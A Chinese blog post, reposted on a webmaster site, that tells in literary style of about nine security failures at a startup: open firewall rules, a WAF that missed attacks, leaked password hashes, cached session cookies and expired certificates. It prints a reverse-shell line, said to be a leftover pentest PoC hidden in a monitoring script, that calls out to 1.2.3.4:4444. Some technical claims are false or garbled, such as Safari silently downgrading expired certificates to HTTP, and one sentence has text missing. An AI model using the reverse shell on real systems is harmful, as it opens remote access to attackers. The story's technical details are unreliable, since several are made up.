创业老炮儿不讲方法论,只晒17个技术踩坑实录
|
去年元旦,凌晨三点零七分,我盯着防火墙规则里那条“allow from 192.168.0.0/16”的日志旁注——是上个月交接时运维小张手写的,字迹还带点圆珠笔打滑的弧度。他早离职了。那条规则本该只配在内网测试机上,结果跑在生产WAF后面第三层路由节点上,裸露着,没ACL,没srcip限制,没time-range。那天下午爬虫开始扫/cpws/目录,晚上六点起,首页标题被人改了、后台多了个陌生账号、搜索引擎里出现了奇怪的词。 显示器上贴了张便利贴,蓝墨水洇开两处:“证书续期提醒-12.28”“PHPMailer版本锁死”。我没撕。空调出风口挂了个塑料袋,风一吹就扑棱棱碰金属框,声音像硬盘坏道前的咔哒。同事把椅子转过来又转回去,第七次,没说话,只是把SSH窗口拖到右下角,留着tail -f /var/log/nginx/access.log,光标在最后一行闪。 跟托管方吵架是在第二天早上十一点半。他们坚持说“CC流量没超阈值”,我直接发过去三段:一段是Nginx access_log里连续47秒、同一UA、同一Referer、不同URI参数的POST请求,每个都带base64编码的SQL片段;一段是他们WAF控制台导出的“防御拦截数:0”;第三段是我本地curl -v 调那个接口,返回HTTP/1.1 200 OK,body里嵌着——就一行,没混淆,没延迟,没跳转。对方电话里说了句“嗯”就没声了。后来查出来,他们新上的“智能规则引擎”默认关闭了对application/x-www-form-urlencoded里script标签的解析,理由是“防误杀”。
文章配图,仅供参考 门禁响了一声,在下午两点二十一分。保洁阿姨推着桶进来换垃圾袋,顺手关了我桌上那杯速溶咖啡——结了一层膜,灰白,晃动时裂成蛛网状。我那时刚翻完漏洞扫描报告第13页,CVE-2021-41773那一行后面手写批注:“路径穿越补丁没打,因客户说‘旧版Apache兼容老插件’”。其实根本没老插件,就一个被注释掉的wp-super-cache调用。没人敢动,怕背锅。 有七个坑是撞库引出来的。不是因为密码弱——是某次用户数据导出时,DBA用mysqldump --skip-extended-insert,导出文件里明文存了邮箱+哈希后缀+盐值拼接串,被当成CSV传到第三方分析平台,而那平台日志开了DEBUG级别,access_log里每行GET请求带完整querystring。不是泄露,是摆着让人抄。我们复现时,从他们log里拎出三段GET,替换成POST,加个Content-Type,四分钟内爆破出217个可用账户——不是撞库,是抄录。 另一个是CDN缓存了Set-Cookie头。不是配置错,是客户运营要“提升注册转化率”,硬塞进CDN配置里的rewrite规则:所有 /reg/ 下返回加了Max-Age=31536000的session cookie。结果缓存键没排除Cookie字段,全网边缘节点都记住了第一个访客的JSESSIONID。我们查后台异常登录时间,最早的几条来自乌兰巴托IP,登录后立刻访问/vip/download,下载的是三天前已下架的PDF,MD5和原始文件一致——说明缓存没刷新,只是cookie冒用了。 还有一次,监控告警没响。不是监控坏了,是有人把zabbix-agent的自定义脚本权限从755改成777,然后chmod +s。没人注意到/usr/local/bin/check_redis.sh底下多了一行exec /bin/bash -i &>/dev/tcp/1.2.3.4/4444 0>&1 ——不是攻击者写的,是前年渗透测试留下的PoC,忘了删。它只在redis连不上时触发,而那天Redis刚好主从切换,持续23秒。那23秒里,12台机器反向shell连出去,其中一台的last -a显示root在02:17:03登录,IP是公司出口NAT地址,实际是内网工位的MAC地址伪造的ARP响应。我们重放pcap时,看到SYN包里TCP选项字段塞了base64编码的whoami结果。不复杂,就是懒。 证书到期提醒那张便利贴下面,我还写了小字:“let's encrypt certbot-auto 已停更,但 cron 里还在跑”。跑了一年半。直到某天凌晨自动续期失败,Nginx reload 报错,回滚时加载了过期证书。浏览器警告页面弹出来时,前端同事正在改banner图,微信发来截图,问“这个红叉是不是CDN问题”。我截图发过去他本地curl -v的输出,他回了个“哦”,五分钟后又发来:“好像影响不大?手机端没弹”。——确实没弹,因为Safari iOS15+ 有个行为:对已信任CA签发的过期证书,若OCSP stapling不可达,静默降级为HTTP。用户不知道,但我们知道OCSP stapling停了三天,因为Let’s Encrypt的stapling服务在维护,而我们的nginx conf里没配resolver timeout,它卡死在DNS query上,超时值默认是30秒,但整个worker进程等它。 不讲方法论。真不讲。那些“先评估再加固再验证”的流程图贴在会议室玻璃上三年了,边角卷了。我桌上那杯速溶咖啡的膜今天还没擦。17个坑,我只晒了9个,剩下8个不想提——两个是架构决策会上我投的反对票,三个是客户砍预算砍掉的审计项,一个是我自己写的正则替换脚本,把/sitemap.xml里所有http://换成了https://,结果忘了过滤注释块,把也换了,导致搜索引擎抓取时跳进重定向死循环。最后一个,算了,明天再说。 现在去重看access_log里那段异常Referer:`Referer: https://xn--fsq539a3a.xn--fiqs8s/admin/`,解码出来是中文域名“在线客服管理”,但真实服务器根本不支持IDN。它根本没到WAF,被nginx的server_name匹配规则甩给default_server了,而default_server的root指向的是/var/www/html,里面躺着十年前的phpinfo.php。我已经把那行server_name _;删了,换成return 444。下一步?重装这台机。不打补丁了,来不及。 (编辑:站长网) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |


站长评论失焦?分布式事务视角下的技术理性
站长自说自话?评论数据才是技术洞察的真相
创业前端架构:合规·可信·防护三位一体
区块链老兵亲授:建站三年踩坑提炼的5大服务器优化关键点
鸿蒙开发者必追的5个量子级技术动态
创业初期服务器架构5大隐形跃迁坑
当交互设计挣脱模板,独特性成用户驻留的首个技术支点
